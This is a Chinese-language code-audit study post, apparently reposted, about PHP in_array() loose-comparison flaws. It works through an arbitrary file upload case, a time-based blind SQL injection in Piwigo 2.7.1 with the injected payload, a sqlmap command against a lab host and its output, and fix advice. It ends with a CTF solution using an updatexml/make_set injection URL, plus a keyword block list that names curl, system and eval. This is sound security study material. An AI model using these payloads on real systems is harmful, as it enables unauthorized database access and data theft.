代碼審計學習01-in_array() 函數缺陷


一、開始代碼審計之旅 01

從今天起,學習代碼審計了,這篇文章就叫代碼審計01吧,題目來自 PHP SECURITY CALENDAR 2017 的第一題,結合 紅日安全 寫的文章,開始吧。

二、先看這道題目

1、題目名稱:Wish List

2、in_array() 函數的作用

in_array() 函數的作用是判斷第一參數是否存在第二個參數中,存在返回 true,不存在返回 false。需要注意的是,如果函數第三個參數為 true,則第一個參數必須還要和第二個參數同類型,函數才能返回 true。不寫第三個參數,在一些情況下函數會發生強制轉換,題目的漏洞就出在這里。

3、題目漏洞解析

if (in_array($this->file['name'], $this->whitelist)) { move_uploaded_file($this->file['tmp_name'], self::UPLOAD_DIRECTORY . $this->file['name']); } 

in_array() 函數並只簡單判斷文件名是否存在白名單中,並沒有將第三個參數設置為 true,攻擊者可以上傳一個 5backdoor.php 的文件,其文件名為 5backdoor,in_array() 函數將文件名強制轉換為 5 ,符合 ranger(1,24) 的白名單條件,5backdoor.php 可以上傳,於是一個任意文件上傳漏洞就產生了。

4、in_array() 的擴展知識

in_array 的一段代碼,可以明確看到非嚴格模式與嚴格模式下的區別:

<?php $array = array( 'egg' => true, 'cheese' => false, 'hair' => 765, 'goblins' => null, 'ogres' => 'no ogres allowed in this array' ); // Loose checking -- return values are in comments // First three make sense, last four do not var_dump(in_array(null, $array)); // true var_dump(in_array(false, $array)); // true var_dump(in_array(765, $array)); // true var_dump(in_array(763, $array)); // true var_dump(in_array('egg', $array)); // true var_dump(in_array('hhh', $array)); // true var_dump(in_array(array(), $array)); // true // Strict checking var_dump(in_array(null, $array, true)); // true var_dump(in_array(false, $array, true)); // true var_dump(in_array(765, $array, true)); // true var_dump(in_array(763, $array, true)); // false var_dump(in_array('egg', $array, true)); // false var_dump(in_array('hhh', $array, true)); // false var_dump(in_array(array(), $array, true)); // false ?> 

三、結合一個案例

選取 piwigo2.7.1 內容管理系統的一個 SQL 注入漏洞來分析

1、漏洞原理分析

漏洞涉及文件:include/functions_rate.inc.phpinclude/config_default.inc.php,以及根目錄下的picture.php

picture.php 關鍵代碼:

if (isset($_GET['action'])) { switch ($_GET['action']) /*****************中間省略*********************/ case 'rate' : { include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php'); rate_picture($page['image_id'], $_POST['rate']); redirect($url_self); } /*****************中間省略*********************/ } 

include/functions_rate.inc.php 關鍵代碼:

function rate_picture($image_id, $rate) { global $conf, $user; if (!isset($rate) or !$conf['rate'] or !in_array($rate, $conf['rate_items'])) { return false; } /*****************中間省略*********************/ if ($user_anonymous) { $query.= ' AND anonymous_id = \''.$anonymous_id.'\''; } pwg_query($query); $query = ' INSERT INTO '.RATE_TABLE.' (user_id,anonymous_id,element_id,rate,date) VALUES (' .$user['id'].',' .'\''.$anonymous_id.'\',' .$image_id.',' .$rate .',NOW()) ;'; pwg_query($query); return update_rating_score($image_id); } 

include/config_default.inc.php 關鍵代碼:

$conf['rate_items'] = array(0,1,2,3,4,5); 

通過上述代碼分析,當參數 action=rate時會調用 include/functions_rate.inc.php 的 rate_picture($image_id, $rate) 函數,由於函數 in_array($rate, $conf['rate_items'])) 沒有將第三個參數設置因為 true,檢查不嚴格,導致變量 $rate 變量可控,將 $rate 設置為 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那么 SQL 語句就會變成:

INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ; 

基於時間的 SQL 盲注就產生了。

2、漏洞證明

用 SQL 注入工具 sqlmap 證明漏洞,payload 如下:

python2 sqlmap.py -u "http://192.168.203.131/piwigo/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch 

漏洞驗證返回結果:

[20:45:34] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'http://192.168.203.131:80/piwigo/picture.php?/1/category/1'. Do you want to follow? [Y/n] Y redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y sqlmap resumed the following injection point(s) from stored session: --- Parameter: rate (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: rate=1 AND SLEEP(5) --- [20:45:37] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: PHP 5.4.45, Apache 2.4.23 back-end DBMS: MySQL >= 5.0.12 [20:45:37] [INFO] fetching database names [20:45:37] [INFO] fetching number of databases [20:45:37] [INFO] resumed: 5 [20:45:37] [INFO] resumed: information_schema [20:45:37] [INFO] resumed: mysq [20:45:37] [INFO] resumed: mysql [20:45:37] [INFO] resumed: performance_schema [20:45:37] [INFO] resumed: piwigo271 available databases [5]: [*] information_schema [*] mysq [*] mysql [*] performance_schema [*] piwigo271 

3、修復建議

方法1:將 in_array() 函數的第三個參數設置為 true;

方法2:使用 intval() 函數將變量將轉為數字;

方法3:使用正則表達式過濾,只限制為數字(官方修復是用這種方法)。

四、學習一道同類型的 CTF 題目

//index.php <?php include 'config.php'; $conn = new mysqli($servername, $username, $password, $dbname); if ($conn->connect_error) { die("連接失敗: "); } $sql = "SELECT COUNT(*) FROM users"; $whitelist = array(); $result = $conn->query($sql); if($result->num_rows > 0){ $row = $result->fetch_assoc(); $whitelist = range(1, $row['COUNT(*)']); } $id = stop_hack($_GET['id']); $sql = "SELECT * FROM users WHERE id=$id"; if (!in_array($id, $whitelist)) { die("id $id is not in whitelist."); } $result = $conn->query($sql); if($result->num_rows > 0){ $row = $result->fetch_assoc(); echo "<center><table border='1'>"; foreach ($row as $key => $value) { echo "<tr><td><center>$key</center></td><br>"; echo "<td><center>$value</center></td></tr><br>"; } echo "</table></center>"; } else{ die($conn->error); } ?> 
//config.php <?php $servername = "localhost"; $username = "fire"; $password = "fire"; $dbname = "day1"; function stop_hack($value){ $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval"; $back_list = explode("|",$pattern); foreach($back_list as $hack){ if(preg_match("/$hack/i", $value)) die("$hack detected!"); } return $value; } ?> 
# CTF環境使用的sql語句 create database day1; use day1; create table users ( id int(6) unsigned auto_increment primary key, name varchar(20) not null, email varchar(30) not null, salary int(8) unsigned not null ); INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000); INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500); INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700); INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000); INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000); create table flag(flag varchar(30) not null); INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}'); 

stop_hack() 函數禁用了關鍵字和函數,看了這篇文章的解析,用 updatexml+make_set 這兩個函數就可以成功拿到 flag,payload如下:

http://192.168.203.131/day1/index.php?id=1 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM